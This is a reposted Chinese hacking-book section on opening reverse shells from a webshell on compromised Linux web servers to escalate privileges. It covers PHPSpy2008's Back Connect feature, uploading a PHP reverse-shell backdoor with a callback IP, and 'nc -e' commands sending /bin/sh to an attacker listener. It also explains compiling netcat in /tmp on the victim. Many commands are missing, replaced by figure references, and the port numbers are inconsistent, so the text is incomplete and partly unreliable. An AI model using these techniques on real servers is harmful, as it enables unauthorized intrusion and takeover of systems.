Linux下通過WebShell反彈Shell的技巧

來源:互聯網
上載者:User
13.2 Linux下通過WebShell反彈Shell的技巧

Linux下通過WebShell反彈CmdShell,在網站伺服器入侵提權過程中的應用比Windows環境下更廣更頻繁。

Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可互動環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令列視窗,在命令列終端下執行溢出進行提權。

13.2.1 使用PHP WebShell木馬反彈Shell

一般情況下,大多數PHP WebShell木馬後門都帶有的Back Connect功能彈回一個Shell。例如在PHPSpy2008木馬後門中,有一個Back Connect反彈串連功能,可以反彈獲得一個繼承當前WebShell許可權的Shell命令視窗。

在使用Back Connect反彈串連功能前,首先需要使用NC工具在本地監聽一個未使用的連接埠,例如監聽本地8888連接埠,執行如下命令:

然後在WebShell的Back Connect反彈串連功能頁中,會自動檢測原生IP地址,在“Your IP”中顯示本機IP,在“Your Port”中輸入監聽的連接埠,這裡為8080。然後選擇要使用的反彈串連方式,PHPSpy2008提供了兩種反彈串連方式,Perl和C,這裡使用Perl反彈(圖403)。

圖403

設定完畢後,點擊“Start”按鈕,即可發送Shell視窗到監聽連接埠了。在NC監聽視窗中,可得到一個Shell命令列視窗(圖404)。

圖404

除了PHPSpy2008之外,還有一些專用的PHP反彈shell網頁後門。首先在本地用文字編輯器開啟PHP反彈shell網頁後門檔案,在其中找到如下代碼內容:

圖405

修改設定其中的反彈IP地址111.123.96.28為本機IP地址,預設反彈連接埠為8888,可進行修改(圖405)。修改後儲存檔案,將其通過WebShell上傳。假設上傳後的連結地址為http://www.***.com/shell.php。然後在本地開啟命令提示字元視窗,執行如下命令:

使用nc監聽本地的8888連接埠。在瀏覽器中訪問http://www.***.com/shell.php,在nc監聽的連接埠中,就可以獲得一個從網站伺服器上返回來的命令列Shell了。

13.2.2 使用NC反彈Shell

在進行Shell反彈時,有時會碰到伺服器不支援PHP或者WebShell無法成功反彈Shell的情況,例如有的伺服器只支援JSP,不支援PHP。此時,可以同樣採用Windows下的經典的NC反彈Shell方法。

在Windows下反彈CmdShell時,首先要在本機運行“nc -vv -l -p 連接埠號碼”監聽連接埠,然後在WebShell中執行“nc -e cmd.exe 監聽主機IP地址 連接埠”,就可以反彈一個CmdShell。這個方法在Linux中仍然可行,只不過需要作一點小小的改動。

——在本機監聽連接埠後,在WebShell運行nc反彈時,需要發送的是“/bin/sh”,而不是cmd.exe,這樣才夠反彈發送一個Linux下的Shell命令列視窗給監聽主機。例如執行如下命令:

即可反彈一個Shell到IP地址為119.1.44.32的監聽主機的8888連接埠。

13.2.3 遠程主機無NC工具時的解決辦法

在使用NC反彈Shell時,還會碰到遠程主機上不能直接執行nc,或者沒有安裝nc工具。碰到這樣的情況,可以給手工給遠程主機安裝一個NC,比較方便的方法是,到http://netcat.sourceforge.net/download.php下載nc源碼,然後在本地Linux機器上編譯成可執行程式後,再將編譯檔案上傳到遠程主機上。如果本地編譯的程式在遠程主機上無法使用,可以直接把源碼傳上去後,在目標機器上直接編譯。

如果需要在目標機器上編譯NC的話,需要注意一些問題,因為在得到Shell命令列視窗前,只能在WebShell裡執行命令,一般每次只能執行一條,然後等待執行後的結果回顯。

另外,在編譯時間需要注意程式執行路徑的問題。由於Linux下使用權限設定非常嚴格,即使攻擊者獲得了WebShell,也可能無法直接在WEB網頁目錄下寫入檔案,只能在/tmp之類的檔案夾中上傳寫入NC源檔案(圖406)。

圖406

例如WebShell在/var/www/目錄,那麼在WebShell中執行命令預設的當前路徑都是/var/www/,如果netcat源碼包解壓在了/tmp/netcat-0.7.1檔案夾,在編譯netcat進行make操作時,由於當前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作時會出錯。解決這個問題其實很簡單,可以直接把切換路徑和make操作兩句命令寫成一句,用分號隔開寫就可以了。

將netcat-0.7.1源檔案上傳到可寫檔案夾/tmp中後,在WebShell中編譯nc的操作過程及命令如下:

圖407

執行該命令後,可以將netcat-0.7.1源檔案解壓到/tmp/netcat-0.7.1目錄中(圖407)。然後再執行命令:

配置完畢後,再執行如下命令進行編譯:

由於使用了分號,可同時執行兩條命令,將make跟在目錄切換命令後面,在編譯的時候就不會報錯了(圖408)。

圖408

編譯成功以後,就可以輸入命令反彈Shell了,例如這裡nc路徑是/tmp/netcat-0.7.1/nc,在本地執行“nc -vv -l -p 8080”命令監聽8080號連接埠後,在WebShell中執行如下命令(圖409):

圖409

即可向主機反彈回一個Shell命令列視窗了。需要注意的是,反彈的Linux Shell是沒有$提示符的,執行一句返回一句(圖410)。另外,這裡反彈Shell時候啟動並執行是/bin/sh,也可以反彈運行/bin/bash,但/bin/sh的許可權比/bin/bash要設定松一些,因此成功率更高一些。

圖410

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.